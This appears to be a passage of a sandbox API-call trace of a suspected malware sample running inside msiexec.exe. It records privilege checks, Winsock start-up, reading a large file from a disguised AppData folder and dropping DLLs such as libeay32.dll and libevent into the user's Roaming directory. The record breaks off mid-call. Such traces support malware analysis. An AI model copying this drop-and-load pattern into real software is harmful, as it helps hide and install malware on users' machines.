lpDestStr=0x54ee48, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0110.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x54f618, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿávØ\x19TøT", lpUsedDefaultChar=0x0) returned 256 [0110.963] GetLastError () returned 0x7f [0110.963] SetLastError (dwErrCode=0x7f) [0110.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x54f718, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0110.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x54f718, cbMultiByte=256, lpWideCharStr=0x54f068, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0110.963] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0110.963] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x54ee58, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0110.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x54f518, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿávØ\x19TøT", lpUsedDefaultChar=0x0) returned 256 [0110.963] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x33a240, nSize=0x104 | out: lpFilename="C:\\Windows\\syswow64\\msiexec.exe" (normalized: "c:\\windows\\syswow64\\msiexec.exe")) returned 0x1f [0110.963] GetLastError () returned 0x0 [0110.963] SetLastError (dwErrCode=0x0) [0110.963] GetLastError () returned 0x0 [0110.963] SetLastError (dwErrCode=0x0) [0110.963] GetLastError () returned 0x0 [0110.963] SetLastError (dwErrCode=0x0) [0110.963] GetLastError () returned 0x0 [0110.963] SetLastError (dwErrCode=0x0) [0110.963] GetLastError () returned 0x0 [0110.963] SetLastError (dwErrCode=0x0) [0110.963] GetLastError () returned 0x0 [0110.963] SetLastError (dwErrCode=0x0) [0110.963] GetLastError () returned 0x0 [0110.963] SetLastError (dwErrCode=0x0) [0110.963] GetLastError () returned 0x0 [0110.963] SetLastError (dwErrCode=0x0) [0110.963] GetLastError () returned 0x0 [0110.963] SetLastError (dwErrCode=0x0) [0110.963] GetLastError () returned 0x0 [0110.963] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.964] GetLastError () returned 0x0 [0110.964] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.965] SetLastError (dwErrCode=0x0) [0110.965] GetLastError () returned 0x0 [0110.966] SetLastError (dwErrCode=0x0) [0110.966] GetLastError () returned 0x0 [0110.966] SetLastError (dwErrCode=0x0) [0110.966] GetLastError () returned 0x0 [0110.966] SetLastError (dwErrCode=0x0) [0110.966] GetLastError () returned 0x0 [0110.966] SetLastError (dwErrCode=0x0) [0110.966] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0110.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x175adf, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8 Thread: id = 153 os_tid = 0x690 [0111.117] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5bfa6c, nSize=0x104 | out: lpFilename="C:\\Windows\\syswow64\\msiexec.exe" (normalized: "c:\\windows\\syswow64\\msiexec.exe")) returned 0x1f [0111.117] GetSystemDefaultLCID () returned 0x409 [0111.117] GetCurrentProcessId () returned 0x65c [0111.117] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x76ff0000 [0111.118] GetProcAddress (hModule=0x76ff0000, lpProcName="ObtainUserAgentString") returned 0x77021d76 [0111.118] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x5be6ac, cbSize=0x5be6a8 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", cbSize=0x5be6a8) returned 0x0 [0111.124] FreeLibrary (hLibModule=0x76ff0000) returned 1 [0111.124] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5be8ac, nSize=0x104 | out: lpFilename="C:\\Windows\\syswow64\\msiexec.exe" (normalized: "c:\\windows\\syswow64\\msiexec.exe")) returned 0x1f [0111.124] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x5bea98 | out: TokenHandle=0x5bea98*=0xc8) returned 1 [0111.124] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x5bea5c | out: TokenInformation=0x0, ReturnLength=0x5bea5c) returned 0 [0111.124] GetLastError () returned 0x7a [0111.124] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x82b0d0, TokenInformationLength=0x24, ReturnLength=0x5bea5c | out: TokenInformation=0x82b0d0, ReturnLength=0x5bea5c) returned 1 [0111.124] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0xc, TokenInformation=0x333fa4, TokenInformationLength=0x4, ReturnLength=0x5bea94 | out: TokenInformation=0x333fa4, ReturnLength=0x5bea94) returned 1 [0111.124] CloseHandle (hObject=0xc8) returned 1 [0111.124] GetLengthSid (pSid=0x82b0d8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4))) returned 0x1c [0111.124] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x333fb8, dwRevision=0x1 | out: pSecurityDescriptor=0x333fb8) returned 1 [0111.124] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x333fb8, bDaclPresent=1, pDacl=0x0, bDaclDefaulted=0 | out: pSecurityDescriptor=0x333fb8) returned 1 [0111.124] GetVersionExW (in: lpVersionInformation=0x5be910*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="睴矛ᴇ軱ƴ\x81") | out: lpVersionInformation=0x5be910*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0111.124] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0111.205] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x82b6a0, lpbSaclPresent=0x5bea84, pSacl=0x5bea7c, lpbSaclDefaulted=0x5bea80 | out: lpbSaclPresent=0x5bea84, pSacl=0x5bea7c, lpbSaclDefaulted=0x5bea80) returned 1 [0111.205] SetSecurityDescriptorSacl (in: pSecurityDescriptor=0x333fb8, bSaclPresent=1, pSacl=0x82b6b4, bSaclDefaulted=0 | out: pSecurityDescriptor=0x333fb8) returned 1 [0111.205] GetVersionExW (in: lpVersionInformation=0x5be948*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x5be948*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0111.205] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x5bea70 | out: TokenHandle=0x5bea70*=0x110) returned 1 [0111.205] GetTokenInformation (in: TokenHandle=0x110, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x5bea6c | out: TokenInformation=0x0, ReturnLength=0x5bea6c) returned 0 [0111.205] GetLastError () returned 0x7a [0111.205] GetTokenInformation (in: TokenHandle=0x110, TokenInformationClass=0x19, TokenInformation=0x82ff68, TokenInformationLength=0x14, ReturnLength=0x5bea6c | out: TokenInformation=0x82ff68, ReturnLength=0x5bea6c) returned 1 [0111.205] GetSidSubAuthorityCount (pSid=0x82ff70*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x82ff71 [0111.205] GetSidSubAuthority (pSid=0x82ff70*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x82ff78 [0111.205] CloseHandle (hObject=0x110) returned 1 [0111.205] LoadLibraryA (lpLibFileName="Ws2_32.dll") returned 0x76dd0000 [0111.206] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5be938 | out: lpWSAData=0x5be938) returned 0 [0111.209] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x173285) returned 0x82c668 [0111.209] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x124 [0111.209] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x128 [0111.209] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x12c [0111.209] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x130 [0111.209] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x134 [0111.209] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x138 [0111.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5bdf78, cbMultiByte=14, lpWideCharStr=0x5bdfd0, cchWideChar=50 | out: lpWideCharStr="Byheq\\hybe.ifi㔰\x81睴矛\x81Ɯ\x81") returned 14 [0111.209] PathCombineW (in: pszDest=0x5be414, pszDir="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", pszFile="Byheq\\hybe.ifi" | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi" [0111.209] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\byheq\\hybe.ifi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13c [0111.210] GetFileSizeEx (in: hFile=0x13c, lpFileSize=0x5be020 | out: lpFileSize=0x5be020*=13422020) returned 1 [0111.210] VirtualAlloc (lpAddress=0x0, dwSize=0xcccdc4, flAllocationType=0x3000, flProtect=0x4) returned 0x24c0000 [0111.210] ReadFile (in: hFile=0x13c, lpBuffer=0x24c0000, nNumberOfBytesToRead=0xcccdc4, lpNumberOfBytesRead=0x5be01c, lpOverlapped=0x0 | out: lpBuffer=0x24c0000*, lpNumberOfBytesRead=0x5be01c*=0xcccdc4, lpOverlapped=0x0) returned 1 [0111.703] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x5be860 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0111.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4380024, cbMultiByte=12, lpWideCharStr=0x831838, cchWideChar=13 | out: lpWideCharStr="libeay32.dll") returned 12 [0111.705] wvnsprintfW (in: pszDest=0x5be404, cchDest=260, pszFmt="%s\\%s", arglist=0x5be3f8 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libeay32.dll") returned 52 [0111.705] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libeay32.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\libeay32.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0111.706] WriteFile (in: hFile=0x148, lpBuffer=0x4380035*, nNumberOfBytesToWrite=0x1e5e00, lpNumberOfBytesWritten=0x5be3cc, lpOverlapped=0x0 | out: lpBuffer=0x4380035*, lpNumberOfBytesWritten=0x5be3cc*=0x1e5e00, lpOverlapped=0x0) returned 1 [0111.724] CloseHandle (hObject=0x148) returned 1 [0111.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4565e35, cbMultiByte=18, lpWideCharStr=0x82b710, cchWideChar=19 | out: lpWideCharStr="libevent-2-0-5.dll") returned 18 [0111.748] wvnsprintfW (in: pszDest=0x5be404, cchDest=260, pszFmt="%s\\%s", arglist=0x5be3f8 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libevent-2-0-5.dll") returned 58 [0111.748] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libevent-2-0-5.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\libevent-2-0-5.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0111.749] WriteFile (in: hFile=0x148, lpBuffer=0x4565e4c*, nNumberOfBytesToWrite=0xaf971, lpNumberOfBytesWritten=0x5be3cc, lpOverlapped=0x0 | out: lpBuffer=0x4565e4c*, lpNumberOfBytesWritten=0x5be3cc*=0xaf971, lpOverlapped=0x0) returned 1 [0111.755] CloseHandle (hObject=0x148) returned 1 [0111.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x46157bd, cbMultiByte=19, lpWideCharStr=0x82b710, cchWideChar=20 | out: lpWideCharStr="libgcc_s_sjlj-1.dll") returned 19 [0111.761] wvnsprintfW (in: pszDest=0x5be404, cchDest=260, pszFmt="%s\\%s", arglist=0x5be3f8 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libgcc_s_sjlj-1.dll") returned 59 [0111.761] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libgcc_s_sjlj-1.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\libgcc_s_sjlj-1.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0111.761] WriteFile (in: hFile=0x148, lpBuffer=0x46157d5*, nNumberOfBytesToWrite=0x7fbfe, lpNumberOfBytesWritten=0x5be3cc, lpOverlapped=0x0 | out: lpBuffer=0x46157d5*, lpNumberOfBytesWritten=0x5be3cc*=0x7fbfe, lpOverlapped=0x0) returned 1 [0111.766] CloseHandle 